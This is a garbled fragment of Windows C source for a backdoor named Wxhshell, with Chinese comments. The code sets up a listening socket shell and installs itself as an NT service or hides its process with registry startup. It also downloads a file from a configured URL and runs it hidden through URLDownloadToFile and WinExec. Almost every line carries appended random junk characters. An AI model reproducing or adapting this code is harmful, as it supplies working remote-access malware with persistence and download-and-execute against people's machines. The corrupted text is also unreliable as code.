DWORD AffinityMask; u$\Tg3du2
DWORD BasePriority; ~O8]3+U
ULONG UniqueProcessId; y^3,X_0
ULONG InheritedFromUniqueProcessId; R4yJ.f
} PROCESS_BASIC_INFORMATION; ,d5ia4\K
nMeS CX
PROCNTQSIP NtQueryInformationProcess; I ;l`VtD
fq{I$syY
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2AmR(vVa"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (Y&R0jt
=w t-YM
HANDLE hProcess; 8`6
LMQ
PROCESS_BASIC_INFORMATION pbi; xR _DY'z
RR8U
Cv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =\*S'Ded
if(NULL == hInst ) return 0; POkXd^pI
:K?iNZqWN6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;>sq_4_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); []!tT-Gzy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cz$c)It
jjNxatAN
if (!NtQueryInformationProcess) return 0; H9/XW6W,"w
v#w4{.8)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PVS\,
if(!hProcess) return 0; |I4D(#w.
f.sPE8#3=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0GF%~6
3huzz<n3
CloseHandle(hProcess); CRP7U
[@jp9D
H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x`wZtv\
if(hProcess==NULL) return 0; aIY$5^x
9[B<rz
HMODULE hMod; E\W;:p,{A
char procName[255]; >I{4
unsigned long cbNeeded; !Mm+bWn=mB
l^)o'YS y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3~#Z E;>#
6="M0%
CloseHandle(hProcess); @fUX)zm>
Ey
0>L
if(strstr(procName,"services")) return 1; // 以服务启动 hn*}5!^
XT\Td}>
return 0; // 注册表启动 'cWlY3%t
} eYPt
m/SJ4op$
// 主模块 `@W3sW/^
int StartWxhshell(LPSTR lpCmdLine) "0p +SZ~D
{ ytuWT,u
SOCKET wsl; *)2x&~T*|
BOOL val=TRUE; "'Q$.sR
int port=0; })h'""i&xn
struct sockaddr_in door; `<.
7?
|E>v~qD8I
if(wscfg.ws_autoins) Install(); e-YGuWGN7
|s)VjS4@
port=atoi(lpCmdLine); R;5QD`
?Yynd
if(port<=0) port=wscfg.ws_port; /r #b
U0lqGEZ
WSADATA data; ]0at2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; My`josJ`Pb
$fq-wl-=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n3-GnVC][
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (Q*2dd>
door.sin_family = AF_INET; LbLbJ{68
door.sin_addr.s_addr = inet_addr("127.0.0.1"); T +|J19
door.sin_port = htons(port); `Pz!SJ|
5pN08+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Off: ~
closesocket(wsl); E1mI Xd;.
return 1; eHfG;NsV/
} GFSlYG
VuYWb)@
if(listen(wsl,2) == INVALID_SOCKET) { ^H@!)+
=
closesocket(wsl);
oi%5t)VsS
return 1; a,F8+
Pb>
} "RR./e)h
Wxhshell(wsl); V{/)RZ/
WSACleanup(); ru(?a~lF8~
=N[V{2}q
return 0; (9'G
k}+MvGq
} |TNiKy
&Nj:XX;X
// 以NT服务方式启动 =PeW$q+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x0TnS#
{ *IjdN,wox
DWORD status = 0; VdjU2d
DWORD specificError = 0xfffffff; Cz$Hk;3\6
Q9Xmb2LN
serviceStatus.dwServiceType = SERVICE_WIN32; P %U9S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6w:g77SH)%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4q@9
serviceStatus.dwWin32ExitCode = 0; ZIGbwL
serviceStatus.dwServiceSpecificExitCode = 0; pU'`9fLi_
serviceStatus.dwCheckPoint = 0; uj+.L6S
serviceStatus.dwWaitHint = 0; wUZ(Tin
w2M
IY_N?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \!' {-J
if (hServiceStatusHandle==0) return; q^T&A[hMPx
ID{Pzmt-
status = GetLastError(); 8O;rp(N.n
if (status!=NO_ERROR) hCOy\[2$
{ 5Fl
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZQJw2LA gO
serviceStatus.dwCheckPoint = 0; !pFKC)
serviceStatus.dwWaitHint = 0; [W8iM7D
serviceStatus.dwWin32ExitCode = status; |n-a\
serviceStatus.dwServiceSpecificExitCode = specificError; Rzn 0-cG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2=Vkjh-
return; F(J!dG5#
} qNuv?.7
A<*tn?M]
serviceStatus.dwCurrentState = SERVICE_RUNNING; *6\`A!C
serviceStatus.dwCheckPoint = 0; 3ec==.
serviceStatus.dwWaitHint = 0; D=pI'5&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9b=^"K
} e5:l 6`
j_YZ(: =
// 处理NT服务事件,比如:启动、停止 5e~{7{
VOID WINAPI NTServiceHandler(DWORD fdwControl) #/
gme
{ )4o=t.O\K
switch(fdwControl) KzFs#rhpn
{ V }r_
case SERVICE_CONTROL_STOP: O}\"$n>
serviceStatus.dwWin32ExitCode = 0; &&QDEDszp
serviceStatus.dwCurrentState = SERVICE_STOPPED; hnfrnYH
serviceStatus.dwCheckPoint = 0; QeOt;{_|
serviceStatus.dwWaitHint = 0; $4ZDT]n
{ q5K/+N^2?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t9-\x
} ~)\1g0
return; xr7<(:d
case SERVICE_CONTROL_PAUSE: X:} 5L>'
serviceStatus.dwCurrentState = SERVICE_PAUSED; JXa%TpI:
E
break; BOl$UJ|K
case SERVICE_CONTROL_CONTINUE: /\Y%DpG$
serviceStatus.dwCurrentState = SERVICE_RUNNING; `
a<|CcUGU
break; Ivgwm6M
case SERVICE_CONTROL_INTERROGATE: PTV`=vtj
break; pa> 2JF*
}; ^{]sD}Q"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J;]@?(
} (k HQKQmq
YI(OrR;V
// 标准应用程序主函数 H f mMf^c
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BrH`:Dw
{ kpMM%"=V
}mS0{rxD4
// 获取操作系统版本 1X:whS5S
OsIsNt=GetOsVer(); A,CPR0g%
GetModuleFileName(NULL,ExeFile,MAX_PATH);
0{Ll4
pUEok +
// 从命令行安装 W&re;?Z{ke
if(strpbrk(lpCmdLine,"iI")) Install(); Vgb>3]SU
X72X:"
// 下载执行文件 3b/vyZF
if(wscfg.ws_downexe) { DDCQ Af
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @IKe<{w
WinExec(wscfg.ws_filenam,SW_HIDE); 8LM1oal}
} ^DCv-R+p
Oj|p`Dzh
if(!OsIsNt) { PHL@1K{)
// 如果时win9x,隐藏进程并且设置为注册表启动 CzsY=DBH=
HideProc(); Dp |FyP_w
StartWxhshell(lpCmdLine); EQ`t:jc{
} r#Oz0=0u
else DO,&Foh\
if(StartFromService()) S/:QVs
// 以服务方式启动 >mDubP
StartServiceCtrlDispatcher(DispatchTable); s/&]gj"
else &^D@(m7>{K
// 普通方式启动 I!0+RP(
StartWxhshell(lpCmdLine); GpQF* x
EYD{8Fw-
return 0; g[+Q~/yq
}